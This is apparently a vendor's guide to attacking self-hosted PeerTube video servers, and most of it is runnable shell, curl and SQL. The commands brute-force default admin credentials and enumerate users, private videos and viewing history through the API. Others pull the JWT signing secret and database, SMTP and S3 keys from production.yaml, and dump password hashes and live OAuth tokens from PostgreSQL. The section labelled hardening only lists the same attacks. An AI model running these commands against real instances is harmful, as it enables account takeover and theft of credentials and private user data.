PeerTube Security Testing: Default Credentials, API Key, Database, and Video Platform

PeerTube is a widely deployed self-hosted video platform used by organizations and communities to host their own YouTube-like video infrastructure. Key assessment areas: the secret in production.yaml signs all JWT authentication tokens; admin@example.com/peertube is a common default credential in many deployments; PostgreSQL stores all user credentials, private video metadata, and viewing history; and the object storage credentials for S3-compatible video storage are exposed in configuration files. This guide covers systematic PeerTube security assessment.

Table of Contents

  1. Default Credential Testing and Admin Access
  2. API Token Enumeration and Private Video Access
  3. PostgreSQL Database and Configuration Extraction
  4. PeerTube Security Hardening

Default Credential Testing and Admin Access

# PeerTube — default credential testing and admin access
PT_URL="https://peertube.example.com"

# Common PeerTube default credentials
# admin@example.com / peertube — documented default in many guides
# root / peertube — alternative common default
for CRED in "admin@example.com:peertube" "root@example.com:peertube" "admin@example.com:password" "admin@localhost:peertube"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESPONSE=$(curl -s -X POST "${PT_URL}/api/v1/users/token" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "client_id=CLIENT_ID&client_secret=CLIENT_SECRET&grant_type=password&response_type=code&username=${EMAIL}&password=${PASS}" 2>/dev/null)
  TOKEN=$(echo "$RESPONSE" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token','FAILED'))" 2>/dev/null)
  echo "${EMAIL}/${PASS}: ${TOKEN}"
  [ "$TOKEN" != "FAILED" ] && echo "  SUCCESS!"
done

# Get OAuth client credentials first (required for token endpoint)
curl -s "${PT_URL}/api/v1/oauth-clients/local" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'client_id: {d.get(\"client_id\")}')
print(f'client_secret: {d.get(\"client_secret\")}')
print('Use these values in the /users/token request above')
" 2>/dev/null

# With admin token — list all users
ADMIN_TOKEN="your-access-token"
curl -s "${PT_URL}/api/v1/users?count=100&sort=createdAt" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {d.get(\"total\")}')
for u in d.get('data',[])[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} ({u.get(\"email\")}) role={u.get(\"role\",{}).get(\"label\")}')
" 2>/dev/null

API Token Enumeration and Private Video Access

# PeerTube API — private video access and enumeration
PT_URL="https://peertube.example.com"
ADMIN_TOKEN="your-access-token"

# List ALL videos including private and unlisted
curl -s "${PT_URL}/api/v1/videos?count=100&privacy=4" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Private videos: {d.get(\"total\")}')
for v in d.get('data',[])[:10]:
    print(f'  [{v.get(\"id\")}] {v.get(\"name\")}')
    print(f'    privacy={v.get(\"privacy\",{}).get(\"label\")} views={v.get(\"views\")}')
    print(f'    channel={v.get(\"channel\",{}).get(\"displayName\")}')
" 2>/dev/null

# Privacy levels: 1=Public, 2=Unlisted, 3=Private, 4=Internal

# Internal videos (visible to all instance members — may contain sensitive content)
curl -s "${PT_URL}/api/v1/videos?count=100&privacy=4" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Internal videos (any logged-in user can watch): {d.get(\"total\")}')
" 2>/dev/null

# User video history (requires admin or user token)
curl -s "${PT_URL}/api/v1/users/me/history/videos" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Viewing history entries: {d.get(\"total\")}')
for v in d.get('data',[])[:5]:
    print(f'  {v.get(\"video\",{}).get(\"name\")} at {v.get(\"createdAt\")}')
" 2>/dev/null

# ActivityPub — video and user enumeration (unauthenticated)
# /accounts/{username} — user ActivityPub profile
# /videos/watch/{uuid} — video ActivityPub object
curl -s -H "Accept: application/activity+json" \
  "${PT_URL}/accounts/root" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Actor: {d.get(\"preferredUsername\")}')
print(f'Inbox: {d.get(\"inbox\")}')
print(f'Following: {d.get(\"following\")}')
" 2>/dev/null

PostgreSQL Database and Configuration Extraction

# PeerTube PostgreSQL database and configuration extraction

# production.yaml — main PeerTube configuration
cat /var/www/peertube/config/production.yaml 2>/dev/null | \
  grep -E "secret|password|host|username|key|smtp" | head -20
# secrets.peertube — JWT signing secret
# database.password — PostgreSQL password
# smtp.password — email delivery password
# object_storage.credentials.access_key_id — S3 access key
# object_storage.credentials.secret_access_key — S3 secret key
# redis.password — Redis password (if set)

# PostgreSQL extraction
psql -h localhost -U peertube -d peertube_prod 2>/dev/null << 'EOF'
-- All users with credentials
SELECT id,
       username,
       email,
       password,           -- bcrypt hash
       role,               -- 0=user, 1=moderator, 2=admin
       "emailVerified",
       "createdAt"
FROM "user"
ORDER BY role DESC, "createdAt"
LIMIT 20;
EOF

-- All videos including private
psql -h localhost -U peertube -d peertube_prod 2>/dev/null << 'EOF'
SELECT v.uuid,
       v.name,
       v.privacy,          -- 3=private, 4=internal
       v.description,
       v.views,
       v."createdAt",
       a.uuid as file_uuid,
       a."fileUrl",        -- S3 URL or local path
       a.size
FROM video v
LEFT JOIN "videoFile" a ON v.id = a."videoId"
WHERE v.privacy IN (3, 4)  -- private and internal videos
ORDER BY v."createdAt" DESC
LIMIT 20;
EOF

-- OAuth tokens (persistent API access)
psql -h localhost -U peertube -d peertube_prod 2>/dev/null << 'EOF'
SELECT ot."accessToken",
       ot."refreshToken",
       ot.type,
       u.username,
       u.email,
       ot."accessTokenExpiresAt"
FROM "oAuthToken" ot
JOIN "oAuthClient" oc ON ot."oAuthClientId" = oc.id
JOIN "user" u ON ot."userId" = u.id
WHERE ot."accessTokenExpiresAt" > NOW()
ORDER BY ot."createdAt" DESC
LIMIT 10;
EOF

PeerTube Security Hardening

PeerTube Security Hardening Checklist:
Security TestMethodRisk
Default admin credential testing (admin@example.com/peertube)POST /api/v1/users/token with common credential pairs — access_token grants full admin API access; enumerate all users, access private videos, modify instance configurationCritical
secrets.peertube JWT signing key extractionRead production.yaml secrets.peertube — forge JWT tokens for any user; full admin API access without valid credentialsCritical
Private and internal video enumerationGET /api/v1/videos?privacy=3 and ?privacy=4 with admin token — complete inventory of private and internal videos with metadata and file URLsHigh
PostgreSQL user table credential extractionSELECT password FROM user — all bcrypt hashes and email addresses; OAuth token extraction for persistent API accessHigh
S3 object_storage credential extractionRead production.yaml object_storage.credentials.secret_access_key — full access to video storage bucket; download all video files including private videosHigh

Automate PeerTube Security Testing

Ironimo tests PeerTube deployments for default admin credential testing (admin@example.com/peertube), secrets.peertube JWT signing key extraction, private and internal video enumeration, PostgreSQL user table bcrypt hash extraction, OAuth access token enumeration, S3 object_storage credential exposure, SMTP password extraction from production.yaml, ActivityPub user and video enumeration without authentication, user viewing history access, and Docker environment variable secrets exposure.

Start free scan